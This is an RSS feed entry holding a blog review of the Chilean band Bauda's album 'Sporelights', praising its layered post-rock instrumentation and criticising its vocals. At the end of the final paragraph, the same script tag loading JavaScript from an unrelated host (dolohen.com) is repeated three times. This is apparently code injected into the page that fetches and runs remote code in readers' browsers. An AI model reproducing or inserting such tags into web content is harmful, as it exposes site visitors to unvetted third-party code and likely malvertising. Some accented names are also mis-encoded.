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	<title>Where Worlds Collide &#187; Bauda</title>
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		<title>Bauda &#8211; Sporelights</title>
		<link>http://www.kalyr.co.uk/weblog/music/record-reviews/bauda-sporelights/</link>
		<comments>http://www.kalyr.co.uk/weblog/music/record-reviews/bauda-sporelights/#comments</comments>
		<pubDate>Wed, 21 Oct 2015 17:10:44 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Record Reviews]]></category>
		<category><![CDATA[Bauda]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=13809</guid>
		<description><![CDATA[Dense, layered and cinematic instrumentation occasionally let down by rather thin vocals. <a href="http://www.kalyr.co.uk/weblog/music/record-reviews/bauda-sporelights/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><img class="size-thumbnail wp-image-13810 alignleft" alt="Bauda - Sporelights" src="http://www.kalyr.co.uk/weblog/wp-content/uploads/2015/10/Bauda-Sporelights-150x150.jpg" width="150" height="150" /> Bauda started out as a project from guitarist and songwriter CÃ©sar MÃ¡rquez which then slowly evolved into a full band. The music is inspired and informed by the landscapes of their native Chile, and the album &#8220;Sporelights&#8221; revolves around &#8220;the perpetual struggles of men against the enslaving nature of modern societies&#8221;.</p>
<p>The opening instrumental combines swirling electronics with a rhythm section that emphasises the drums as a lead instrument. It flows straight into the 7-minute &#8220;Vigil&#8221; which sets the tone for the rest of the album; dense, layered, and cinematic with shimmering effects-laden post-rock guitars, alternately rocking out and giving way to atmospheric reflective passages.</p>
<p>What lets this album down is the thin and sometimes tuneless vocals which don&#8217;t always complement the beauty of the instrumentation, and occasionally veers towards rather pedestrian indie-rock, though it always comes back to life with the next instrumental passage. It probably doesn&#8217;t help that the best vocal, on the closing track &#8220;Dawn of Ages&#8221; sounds just a little too close to Knifeworld&#8217;s &#8220;Me to the Future of You&#8221; for its own good.</p>
<p>It does leave you with the impression that with stronger vocals Bauda could reach far greater heights. Not for nothing is the swirling Hawkwind-like instrumental &#8220;Tectonic Cells&#8221; the highlight of the album.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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